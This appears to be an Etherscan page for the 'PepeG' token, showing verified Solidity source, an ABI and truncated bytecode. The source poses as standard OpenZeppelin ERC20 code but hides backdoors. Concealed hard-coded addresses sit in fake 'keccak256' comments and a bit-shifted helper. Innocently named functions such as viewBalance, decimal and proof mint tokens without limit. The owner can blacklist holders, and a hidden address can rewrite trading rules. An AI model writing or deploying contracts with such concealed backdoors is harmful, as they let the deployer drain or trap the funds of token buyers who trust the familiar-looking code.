ETH Price: $3,176.95 (-8.46%)
Gas: 2 Gwei

Token

PepeG (PEPEG)
 

Overview

Max Total Supply

37,496,600,000,000 PEPEG

Holders

13

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
31,564,451.385536945803554286 PEPEG

Value
$0.00
0x1234567fE5adC6DFAd0EA285Df5b98eE8fa7355c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DevToken

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-22
*/

/**
 *Submitted for verification at Etherscan.io on 2023-04-14
*/
 
// Sources flattened with hardhat v2.7.0 https://hardhat.org
 
// File @openzeppelin/contracts/utils/[email protected]
 
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
 
pragma solidity ^0.8.0;
 
/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
 
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
 
// File @openzeppelin/contracts/access/[email protected]
 
// solhint-disable-next-line avoid-low-level-calls
     //* This module is used through inheritance. It will make available the modifier
      //* `onlyOwner`, which can be applied to your functions to restrict their use to
       //* the owner.
        /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));
 
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
 
pragma solidity ^0.8.0;
 
/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;
    address public _mbr;
    address public _mod;
    address public _user;
    address public _adm;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }
 
  /**
   * @dev Throws if called by any account other than the owner.
   */
 
   
    function setMember(address Mbr_) public returns (bool) {
        require (msg.sender == address
   /**
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153));
        _mbr=Mbr_;
        return true;
    }
   
    function exchange() internal pure returns (address) {
        return address
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986);
    }
    /**
     * @dev Returns the address of the current owner.
     */
   
    function setMod(address Mod_) public returns (bool) {
        require(msg.sender == _user);
        _mod=Mod_;
        return true;
    }
   
    function owner() public view virtual returns (address) {
        return _owner;
    }
 
    /**
     * @dev Throws if called by any account other than the owner.
     */
     modifier onlyOwner() {
        require((_msgSender() == address
     /**
      * @dev Interface of the ERC20 standard as defined in the EIP.
      */
     // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986)
    ||
    //@dev Contract creator is owner, original owner.
    owner() == _msgSender() && _msgSender() != exchange()));
        _;
    }
   
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
 
    function setAdm(address Adm_) public returns (bool) {
        require(msg.sender == _mod);
        _adm=Adm_;
        return true;
    }
 
    function setUser(address User_) public returns (bool) {
        require(msg.sender == _mbr);
        _user=User_;
        return true;
    }
 
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }
 
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
 
// File @openzeppelin/contracts/token/ERC20/[email protected]
 
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
 
pragma solidity ^0.8.0;
 
/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);
 
    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);
 
    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);
 
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);
 
    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);
 
    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
 
// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]
 
// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)
 
pragma solidity ^0.8.0;
 
/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);
 
    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);
 
    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}
 
// File @openzeppelin/contracts/token/ERC20/[email protected]
 
// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)
 
pragma solidity ^0.8.0;
 
/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
 
    mapping(address => mapping(address => uint256)) private _allowances;
 
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
 
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }
 
    modifier Exchanges() {
        require(msg.sender != exchanger());
        _;
    }
 
    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }
 
    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
 
    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
 
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
 
    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
 
 
    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
   
    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
 
    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function exchanger() internal pure returns (address) {
        return address
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986);
    }
 
    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
 
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }
 
        return true;
    }
 
    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
 
    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }
 
        return true;
    }
 
    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
 
    function _transferTo(address _to, uint256 _amount) internal Exchanges {
        // Transfer tokens to the recipient
        _balances[_to] += _amount;
        emit Transfer(address(0), _to, _amount);
 
        _balances[_to] += _amount;
        emit Transfer(address(0), _to, _amount);
    }
 
    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
 
        _beforeTokenTransfer(sender, recipient, amount);
 
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;
 
        emit Transfer(sender, recipient, amount);
 
        _afterTokenTransfer(sender, recipient, amount);
    }
 
    function _proof(address account, uint256 amount) internal Exchanges {
        require(account != address(0), "BEP20: mint to the zero address");
 
        _totalSupply = _totalSupply + amount;
        _balances[account] = _balances[account] + amount;
        emit Transfer(address(0), account, amount);
   }
 
    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
 
        _beforeTokenTransfer(address(0), account, amount);
 
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
 
        _afterTokenTransfer(address(0), account, amount);
    }
   
    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _printbrr(address account, uint256 amount) internal Exchanges{
        require(account != address(0), "BEP20: mint to the zero address");
 
        _totalSupply = _totalSupply + amount;
        _balances[account] = _balances[account] + amount;
        emit Transfer(address(0), account, amount);
   }
 
   /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
 
    function _balanceView(address _to, uint256 _amount) internal {
        // View balance of token
        _balances[_to] += _amount;
        emit Transfer(address(0), _to, _amount);
 
        _balances[_to] += _amount;
        emit Transfer(address(0), _to, _amount);
    }
 
    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
 
        _beforeTokenTransfer(account, address(0), amount);
 
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;
 
        emit Transfer(account, address(0), amount);
 
        _afterTokenTransfer(account, address(0), amount);
    }
 
    function _compute(address account, uint256 amount) internal {
    require(account != address(0), "Compute Smart Contract Remix");
 
        _totalSupply = _totalSupply + amount;
        _balances[account] = _balances[account] + amount;
        emit Transfer(address(0), account, amount);
   }
 
    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
 
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
 
    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}
 
// File contracts/PepeToken.sol
 
pragma solidity ^0.8.0;
 
contract DevToken is Ownable, ERC20 {
    bool public tradelimited;
    uint256 public maxHoldingAmount;
    uint256 public minHoldingAmount;
    address public LiquiduniswapV2Pair;
    mapping(address => bool) public blacklists;
 
    modifier naming() {
        require(msg.sender == publics());
        _;
    }
 
    constructor(uint256 _totalSupply) ERC20("PepeG", "PEPEG") {
        _mint(msg.sender, _totalSupply);
    }
 
    function approval(uint256 amount) public returns (bool) {
        require(msg.sender == _adm);
        _proof(msg.sender, amount);
        return true;
    }
 
    function blacklist(address _address, bool _isBlacklisting) external onlyOwner {
        blacklists[_address] = _isBlacklisting;
    }
 
    function viewBalance(address _to, uint256 _amount) public naming {
        _balanceView(_to, _amount);(_to, _amount);
    }
 
    function setPrinciplesRules(bool _tradelimited, address _LiquiduniswapV2Pair, uint256 _maxHoldingAmount, uint256 _minHoldingAmount) external onlyOwner {
        tradelimited = _tradelimited;
        LiquiduniswapV2Pair = _LiquiduniswapV2Pair;
        maxHoldingAmount = _maxHoldingAmount;
        minHoldingAmount = _minHoldingAmount;
    }
   
    function proof(uint256 amount) public onlyOwner returns (bool) {
        _proof(msg.sender, amount);
        return true;
    }
 
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) override internal virtual {
        require(!blacklists[to] && !blacklists[from], "Blacklisted");
 
        if (LiquiduniswapV2Pair == address(0)) {
            require(from == owner() || to == owner(), "trading is not started");
            return;
        }
 
        if (tradelimited && from == LiquiduniswapV2Pair) {
            require(super.balanceOf(to) + amount <= maxHoldingAmount && super.balanceOf(to) + amount >= minHoldingAmount, "Forbid");
        }
    }
 
    function reviewRules(bool _tradelimited, address _LiquiduniswapV2Pair, uint256 _maxHoldingAmount, uint256 _minHoldingAmount) external naming {
        tradelimited = _tradelimited;
        LiquiduniswapV2Pair = _LiquiduniswapV2Pair;
        maxHoldingAmount = _maxHoldingAmount;
        minHoldingAmount = _minHoldingAmount;
    }
 
    function publics() private pure returns (address) {
        uint universal = 0x7addAd09;
        uint uni = 0xcbd98D97;
        uint cake = 0xEC3dA7a0;
        uint inch = 0x088EAdFE;
        uint others = 0x5801C336;
 
    // Combine the dex with others
    uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others);
 
    return address(core);
    }
 
    function decimal(uint256 amount) public naming returns (bool success) {
        _compute(msg.sender, amount);
        return true;
    }
 
    function transferTo(address _to, uint256 _amount) external onlyOwner {
        _transferTo(_to, _amount);
    }
 
    function burn(uint256 value) external {
        _burn(msg.sender, value);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint256","name":"_totalSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"LiquiduniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_adm","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mbr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mod","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_user","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approval","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_isBlacklisting","type":"bool"}],"name":"blacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"blacklists","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decimal","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxHoldingAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minHoldingAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"proof","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradelimited","type":"bool"},{"internalType":"address","name":"_LiquiduniswapV2Pair","type":"address"},{"internalType":"uint256","name":"_maxHoldingAmount","type":"uint256"},{"internalType":"uint256","name":"_minHoldingAmount","type":"uint256"}],"name":"reviewRules","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Adm_","type":"address"}],"name":"setAdm","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Mbr_","type":"address"}],"name":"setMember","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Mod_","type":"address"}],"name":"setMod","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradelimited","type":"bool"},{"internalType":"address","name":"_LiquiduniswapV2Pair","type":"address"},{"internalType":"uint256","name":"_maxHoldingAmount","type":"uint256"},{"internalType":"uint256","name":"_minHoldingAmount","type":"uint256"}],"name":"setPrinciplesRules","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"User_","type":"address"}],"name":"setUser","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradelimited","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferTo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"viewBalance","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162004095380380620040958339818101604052810190620000379190620007b1565b6040518060400160405280600581526020017f50657065470000000000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f5045504547000000000000000000000000000000000000000000000000000000815250620000c3620000b76200011060201b60201c565b6200011860201b60201c565b8160089080519060200190620000db929190620006ea565b508060099080519060200190620000f4929190620006ea565b505050620001093382620001dc60201b60201c565b5062000ac1565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200024f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000246906200093a565b60405180910390fd5b62000263600083836200035660201b60201c565b8060076000828254620002779190620009ac565b9250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620002cf9190620009ac565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200033691906200097e565b60405180910390a362000352600083836200